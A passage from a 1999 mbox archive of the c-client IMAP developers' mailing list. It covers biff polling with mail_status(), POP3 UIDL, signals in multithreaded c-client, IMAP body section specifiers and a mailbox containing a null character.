(terianne@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id SAA04082 for ; Sun, 18 Jul 1999 18:56:44 -0700 Message-Id: Date: Sun, 18 Jul 1999 18:50:05 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Tim Culver Cc: c-client Interest List Subject: re: What's the Right Way to do imap xbiff? In-Reply-To: <14226.31110.141485.504006@funston.cs.unc.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN You have misunderstood the recommendation. The correct operation for a biff-type operation which does not use mail_open() is to use mail_status(). HOWEVER: It is absolutely wrong for a client to use both mail_open() and mail_status() on the same mailbox at the same time. Certain individuals incorrectly think that mail_status() is the correct way to get the current status of a mailbox which they have open with mail_open() -- not only is this incorrect, it is horribly incorrect. It is probably alright for a biff-type operation which uses mail_status() to wake up every 3-5 minutes. It should not do so more frequently; this is a terrible burden to place upon a server. Applications which do so anyway will be ruthlessly hunted down and exterminated with extreme prejudice. If a user really wants more frequent mail update, the correct thing to do is to run an IMAP client and keep the mailbox open. IMAP automatically provides updates. An intelligent biff-type application will stay asleep as long as an active IMAP session exists to the mailbox, since the IMAP client should alert the user of new mail. From pinedev@shivax2.cac.washington.edu Sun Jul 18 20:19:07 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Sun, 18 Jul 1999 20:19:06 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id UAA24255 for ; Sun, 18 Jul 1999 20:19:05 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id UAA06586; Sun, 18 Jul 1999 20:19:04 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id UAA03494; Sun, 18 Jul 1999 20:17:20 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id UAA40826 for ; Sun, 18 Jul 1999 20:16:43 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id UAA06118 for ; Sun, 18 Jul 1999 20:16:43 -0700 Received: from funston.cs.unc.edu (IDENT:culver@zerbina.cs.unc.edu [152.2.129.157]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id UAA05130; Sun, 18 Jul 1999 20:16:40 -0700 Received: (from culver@localhost) by funston.cs.unc.edu (8.8.7/8.8.7) id XAA22030; Sun, 18 Jul 1999 23:17:23 -0400 Message-Id: <14226.39105.551543.159369@funston.cs.unc.edu> Date: Sun, 18 Jul 1999 23:17:21 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Tim Culver To: Mark Crispin Cc: c-client Interest List Subject: re: What's the Right Way to do imap xbiff? In-Reply-To: References: <14226.31110.141485.504006@funston.cs.unc.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Attribution: tdc X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN >>>>> "mc" == Mark Crispin writes: mc> The correct operation for a biff-type operation which does not use mail_open() mc> is to use mail_status(). OK. That makes sense. mc> It is absolutely wrong for a client to use both mail_open() and mail_status() mc> on the same mailbox at the same time. Certain individuals incorrectly think mc> that mail_status() is the correct way to get the current status of a mailbox mc> which they have open with mail_open() -- not only is this incorrect, it is mc> horribly incorrect. Well, to defend "certain individuals," whoever they might be, internal.txt doesn't mention this. I figured it out from looking at chkmail.c. (It's not every day that one gets SIGUSR2, you know :-) ) mc> It is probably alright for a biff-type operation which uses mail_status() to mc> wake up every 3-5 minutes. It should not do so more frequently; this is a mc> terrible burden to place upon a server. Applications which do so anyway will mc> be ruthlessly hunted down and exterminated with extreme prejudice. Duly noted. I'll think of some way to discourage this behavior. mc> If a user really wants more frequent mail update, the correct thing to do is mc> to run an IMAP client and keep the mailbox open. IMAP automatically provides mc> updates. An intelligent biff-type application will stay asleep as long as an mc> active IMAP session exists to the mailbox, since the IMAP client should alert mc> the user of new mail. That would be a very clever biff indeed! The users I have in mind, though, are people like me whose favorite MUA doesn't really support IMAP. VM, for example, knows about as much about IMAP as fetchmail does. So perhaps there should be two modes of operation... open/search/ping, and status. Thanks for your help, Tim -- Tim Culver From pinedev@shivax2.cac.washington.edu Mon Jul 19 03:05:30 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 19 Jul 1999 03:05:30 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id DAA30129 for ; Mon, 19 Jul 1999 03:05:29 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id DAA11741; Mon, 19 Jul 1999 03:05:27 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id DAA08525; Mon, 19 Jul 1999 03:04:19 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id DAA13400 for ; Mon, 19 Jul 1999 03:03:36 -0700 Received: from sleepy.vocalis.com (sleepy.vocalis.com [195.152.18.80]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with SMTP id DAA11599 for ; Mon, 19 Jul 1999 03:03:34 -0700 Received: from sneezy.vocalis.com (edmund@sneezy [195.152.18.63]) by sleepy.vocalis.com (8.6.12/8.6.6) with SMTP id MAA06179; Mon, 19 Jul 1999 12:03:13 +0200 Message-Id: <199907191003.MAA06179@sleepy.vocalis.com> Date: Mon, 19 Jul 1999 12:03:13 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Edmund GRIMLEY EVANS To: c-client@u.washington.edu Subject: POP3 UIDL X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Am I right in thinking that c-client doesn't use POP3's UIDL command? What might be the best way of using UIDL with c-client? I'm writing a specialist mail client with the requirements that it must - be able to consult e-mail on a POP3 server (it would be an advantage to be able to do IMAP too) - not delete e-mail from the server unless asked to - not store the e-mail locally between sessions, though it can keep UIDs or headers - provide access to the MIME structure of messages Is c-client a good tool for this, or am I barking up the wrong tree right from the start? Edmund -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jul 19 08:56:07 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 19 Jul 1999 08:56:07 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id IAA03701 for ; Mon, 19 Jul 1999 08:56:06 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id IAA16303; Mon, 19 Jul 1999 08:56:04 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id IAA13188; Mon, 19 Jul 1999 08:54:56 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA60566 for ; Mon, 19 Jul 1999 08:53:39 -0700 Received: from ares.voicerite.com (totalcall.com [63.64.62.207]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id IAA09680 for ; Mon, 19 Jul 1999 08:53:30 -0700 Received: from ashvedov (ashvedov [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id KAA09157 for ; Mon, 19 Jul 1999 10:44:14 -0400 Message-Id: <005001bed1fe$96f99530$2601a8c0@voicerite> Date: Mon, 19 Jul 1999 11:51:38 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Alex Shvedov" To: "DG C-CLIENT" Subject: Again on multithreading c-client under UNIX MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Suddenly I realized that there are more problems in multithreading c-client. Namely, in POSIX signals are process-wide, so you're bound to (a) have one specific thread, signal waiter, to deal with all signals, and (b) close interrupts for all other "worker" threads. This seems to be an external problem for c-client used inside some IMAP client; signal waiter is completely independent from IMAP stuff because client calls do not use signals at all - at least, that's what I think. On the server side signals do carry some part of c-client functionality, especially SIGUSR2, see server_traps in env_unix.c, unix_open in unix.c and mmdf_open in mmdf.c. So, either multithreaded c-client "for client" departs from c-client "for server", which is bad, or multithreading of current c-client while keeping it both "for client" and "for server" becomes considerably more complex. Alas, Karsten... P.S. I'll post my empirics, anyway. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jul 19 17:33:54 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 19 Jul 1999 17:33:54 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id RAA14497 for ; Mon, 19 Jul 1999 17:33:53 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id RAA31266; Mon, 19 Jul 1999 17:33:51 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id RAA01682; Mon, 19 Jul 1999 17:32:52 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA23128 for ; Mon, 19 Jul 1999 17:32:01 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (rfort@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id RAA15375 for ; Mon, 19 Jul 1999 17:32:00 -0700 Message-Id: Date: Mon, 19 Jul 1999 17:31:54 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Edmund GRIMLEY EVANS Cc: c-client@u.washington.edu Subject: Re: POP3 UIDL In-Reply-To: <199907191003.MAA06179@sleepy.vocalis.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: MRC@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 19 Jul 1999, Edmund GRIMLEY EVANS wrote: > Am I right in thinking that c-client doesn't use POP3's UIDL command? > What might be the best way of using UIDL with c-client? The c-client POP3 client does not use the POP3 UIDL command. However, the c-client POP3 server does support UIDL. c-client implements IMAP-style UIDs which can be expressed by a POP3 UID; however the reverse isn't true. POP3 UIDs are random strings with no ordering requirements, whereas IMAP UIDs are 64-bit values (32 bits of which are constant within the mailbox and are expressed as a "UID validity" value) which are required to be strictly ascending within the mailbox. It's also possible to access IMAP messages via UID, whereas in POP3 you have to download the UID/message-number map. Since the primary focus of c-client development is for IMAP rather than the obsolete POP3 protocol, there are no plans to support UIDL within the c-client POP3 client code. It is technically possible to add such support with some work, but it would have to be through an separate mechanism than the c-client UID mechanism since c-client applications take advantage of the IMAP UID semantics which aren't in POP3 UIDs. You may want to consider making the primary focus of your application being IMAP instead of POP3, and support POP3 only for compatibility with the past. From pinedev@shivax2.cac.washington.edu Wed Jul 21 06:17:26 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Jul 1999 06:17:26 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id GAA20226 for ; Wed, 21 Jul 1999 06:17:25 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id GAA04605; Wed, 21 Jul 1999 06:17:23 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id GAA23150; Wed, 21 Jul 1999 06:16:06 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA24152 for ; Wed, 21 Jul 1999 06:13:17 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id GAA13627 for ; Wed, 21 Jul 1999 06:13:17 -0700 Received: from sleepy.vocalis.com (sleepy.vocalis.com [195.152.18.80]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with SMTP id GAA05813 for ; Wed, 21 Jul 1999 06:13:13 -0700 Received: from sneezy.vocalis.com (edmund@sneezy [195.152.18.63]) by sleepy.vocalis.com (8.6.12/8.6.6) with SMTP id PAA26390; Wed, 21 Jul 1999 15:12:29 +0200 Message-Id: <199907211312.PAA26390@sleepy.vocalis.com> Date: Wed, 21 Jul 1999 15:12:29 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Edmund GRIMLEY EVANS To: c-client@CAC.Washington.EDU Subject: IMAP section specifiers illogical? X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN They are, aren't they? Here's the example from section 6.4.5 of RFC 2060: 1 TEXT/PLAIN 2 APPLICATION/OCTET-STREAM 3 MESSAGE/RFC822 3.1 TEXT/PLAIN 3.2 APPLICATION/OCTET-STREAM 4 MULTIPART/MIXED 4.1 IMAGE/GIF 4.2 MESSAGE/RFC822 4.2.1 TEXT/PLAIN 4.2.2 MULTIPART/ALTERNATIVE 4.2.2.1 TEXT/PLAIN 4.2.2.2 TEXT/RICHTEXT It seems that, in order to make the specifiers a little more concise, at the cost of making them a lot harder to understand, an entity (which corresponds to the data type "BODY" in c-client) that is of type "multipart" and whose parent entity is of type "message/rfc822" does not receive its own specifier. Using a less concise but more logical scheme, here is a complete list of the entities (instances of BODY) that are present in the message: 1 - MULTIPART/MIXED 1.1 1 TEXT/PLAIN 1.2 2 APPLICATION/OCTET-STREAM 1.3 3 MESSAGE/RFC822 1.3.1 - MULTIPART/??? 1.3.1.1 3.1 TEXT/PLAIN 1.3.1.2 3.2 APPLICATION/OCTET-STREAM 1.4 4 MULTIPART/MIXED 1.4.1 4.1 IMAGE/GIF 1.4.2 4.2 MESSAGE/RFC822 1.4.2.1 - MULTIPART/??? 1.4.2.1.1 4.2.1 TEXT/PLAIN 1.4.2.1.2 4.2.2 MULTIPART/ALTERNATIVE 1.4.2.1.2.1 4.2.2.1 TEXT/PLAIN 1.4.2.1.2.2 4.2.2.2 TEXT/RICHTEXT The entities that have no IMAP section specifiers are the multipart bodies of the message/rfc822 entities. I've written MULTIPART/MIXED for the first one but MULTIPART/??? for the other two because the complete table in section 6.4.5 somewhat inconsistently contains also the following lines: TEXT MULTIPART/MIXED 3.TEXT ([RFC-822] text body of the message) 4.2.TEXT ([RFC-822] text body of the message) Are IMAP section specifiers an unfortunate mistake that we now have to live with, or are they in some way defendable? Note that the special case really is specific to multipart bodies of message/rfc822 entities; a multipart part of a multipart entity and a message/rfc822 whose body is a message/rfc822 are both treated as you would expect. The bit of code in mtest.c that handles the special case is this: if ((body->type == TYPEMESSAGE) && !strcmp (body->subtype,"RFC822") && (body = body->nested.msg->body)) { if (body->type == TYPEMULTIPART) display_body (body,pfx,i-1); else { /* build encapsulation prefix */ sprintf (tmp,"%s%ld.",pfx,i); display_body (body,tmp,(long) 0); } In line 3 of this excerpt the prefix pfx is not extended in the special case of a TYPEMESSAGE whose body is TYPEMULTIPART; the other recursive calls to display_body extend the prefix. I noticed that Netscape's MUA uses a numbering scheme like the one I used above rather than the IMAP one so I'm presumably not the first person who thinks they could do better ... The only reason I've noticed this, by the way, is because the c-client API apparently forces me to generate IMAP section specifiers. Am I right that there is no way of fetching a body other than by computing an IMAP section specifier and using it as a character string argument to mail_fetch_body? It certainly would be easier if I could just give the pointer to the BODY and let c-client take care of the numbers ... Edmund -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jul 21 10:40:41 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Jul 1999 10:40:40 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id KAA24675 for ; Wed, 21 Jul 1999 10:40:39 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id KAA12125; Wed, 21 Jul 1999 10:40:36 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id KAA01741; Wed, 21 Jul 1999 10:38:32 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA27606 for ; Wed, 21 Jul 1999 10:37:28 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id KAA07443 for ; Wed, 21 Jul 1999 10:37:27 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (mccabe@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id KAA10884 for ; Wed, 21 Jul 1999 10:37:27 -0700 Message-Id: Date: Wed, 21 Jul 1999 10:02:02 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Edmund GRIMLEY EVANS Cc: c-client@CAC.Washington.EDU Subject: re: IMAP section specifiers illogical? In-Reply-To: <199907211312.PAA26390@sleepy.vocalis.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thank you very much for your complimentary remarks about how I designed IMAP section specifiers. It is always a great pleasure to deal with people who use works such as "illogical", "inconsistant", and "unfortunate mistake" when they really mean "I don't understand". Your claim that "an entity (which corresponds to the data type "BODY" in c-client) that is of type "multipart" and whose parent entity is of type "message/rfc822" does not receive its own specifier" is false. The clue is in that text that you labelled as "inconsistant". Since you found the table in RFC 2060, section 6.4.5, please take a look at the previous page. Read it carefully, particularly that last paragraph. Is "part specifier" just random text that the author haphazardly threw in, or perhaps is it a term that is formally defined? If something is a "part specifier", what does that mean? What is the proper interpretation of that table entry that you called "inconsistant"? Most people do not find it to be a particularly egregious burden to generate IMAP section specifiers, especially after being shown the right way to do it (e.g. from the mtest example). Even if section specifiers were stored in body structures for the convenience of lazy programmers, it wouldn't eliminate the need to generate them because not all section specifiers relate to a body structure. PS: I seriously doubt that Netscape sticks in spurious "1." in front of attachment numbers. From pinedev@shivax2.cac.washington.edu Wed Jul 21 15:15:17 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Jul 1999 15:15:17 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id PAA30761 for ; Wed, 21 Jul 1999 15:15:16 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id PAA20078; Wed, 21 Jul 1999 15:15:14 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id PAA12481; Wed, 21 Jul 1999 15:14:16 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id PAA59934 for ; Wed, 21 Jul 1999 15:13:25 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id PAA12688 for ; Wed, 21 Jul 1999 15:13:24 -0700 Received: from ares.voicerite.com (totalcall.com [63.64.62.207]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id PAA18566 for ; Wed, 21 Jul 1999 15:13:23 -0700 Received: from ashvedov (ashvedov [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id RAA00438; Wed, 21 Jul 1999 17:04:16 -0400 Message-Id: <002901bed3c6$00078230$2601a8c0@voicerite> Date: Wed, 21 Jul 1999 18:11:36 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Alex Shvedov" To: "Edmund GRIMLEY EVANS" , Subject: Re: IMAP section specifiers illogical? References: <199907211312.PAA26390@sleepy.vocalis.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > Am I right that there is no way of fetching a body other than by computing > an IMAP section specifier and using it as a character string argument > to mail_fetch_body? In my opinion, you are. At least, I found no other (simple) way as to port a parsing subroutine from mtest. The only thing that I didn't like in it: it doesn't provide anything for a special MULTIPART/ALTERNATIVE case, so I must deal with both variants of a part instead of making a choice. From pinedev@shivax2.cac.washington.edu Thu Jul 22 01:17:43 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 22 Jul 1999 01:17:43 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id BAA05306 for ; Thu, 22 Jul 1999 01:17:42 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id BAA28579; Thu, 22 Jul 1999 01:17:40 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id BAA12190; Thu, 22 Jul 1999 01:16:44 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA46860 for ; Thu, 22 Jul 1999 01:14:50 -0700 Received: from mailsrv2.hrz.uni-oldenburg.de (mailsrv2.hrz.uni-oldenburg.de [134.106.49.199]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id BAA02932 for ; Thu, 22 Jul 1999 01:14:45 -0700 Received: from uni-oldenburg.de (kopernik.hrz.uni-oldenburg.de [134.106.61.67]) by mailsrv2.hrz.uni-oldenburg.de (8.9.3/8.9.3/07.07.1999) with ESMTP id KAA25850 for ; Thu, 22 Jul 1999 10:14:38 +0200 (METDST) Message-Id: <3796D2ED.D405EC27@uni-oldenburg.de> Date: Thu, 22 Jul 1999 10:14:37 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Bernd Wagener To: c-client@u.washington.edu Subject: null character in mail MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: de,en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello! Yesterday I got a mail and was not able to read this mail completly. My mail-client is Netscape 4.61 on WindowsNT, the mail-server is UW Imap V12.50 (Imap 4.5) on Hpux 10.20. The mail is quite long and during the copying from server to client I get the error-message from Netscape: "The Server has disconnected...". I'm the mail administrator and looked with vi at the file in /var/mail on the unix-server and found a null-character into the mail (d'ont ask me how it cames into the file!). The file is in standard unix mbox format. I can read the mail up to 60%, but cannot move or delete this . I looked in the archiv of the c-client-list and guess, this problem is new. I have the mail in my inbox for further testing. Bernd Wagener -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jul 22 08:37:48 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 22 Jul 1999 08:37:48 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id IAA15190 for ; Thu, 22 Jul 1999 08:37:47 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id IAA03147; Thu, 22 Jul 1999 08:37:45 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id IAA02068; Thu, 22 Jul 1999 08:36:17 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA25390 for ; Thu, 22 Jul 1999 08:35:12 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (chince@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id IAA30414 for ; Thu, 22 Jul 1999 08:35:11 -0700 Message-Id: Date: Thu, 22 Jul 1999 08:31:33 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Bernd Wagener Cc: c-client@u.washington.edu Subject: re: null character in mail In-Reply-To: <3796D2ED.D405EC27@uni-oldenburg.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Did you try some other client? I tried a message with an embedded NUL via IMAP with Pine and it worked without problems. Note that nulls are not allowed in messages according to the IMAP specification and the DRUMS update to RFC 822. From pinedev@shivax2.cac.washington.edu Fri Jul 23 02:37:55 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Fri, 23 Jul 1999 02:37:52 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id CAA01214 for ; Fri, 23 Jul 1999 02:37:47 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by 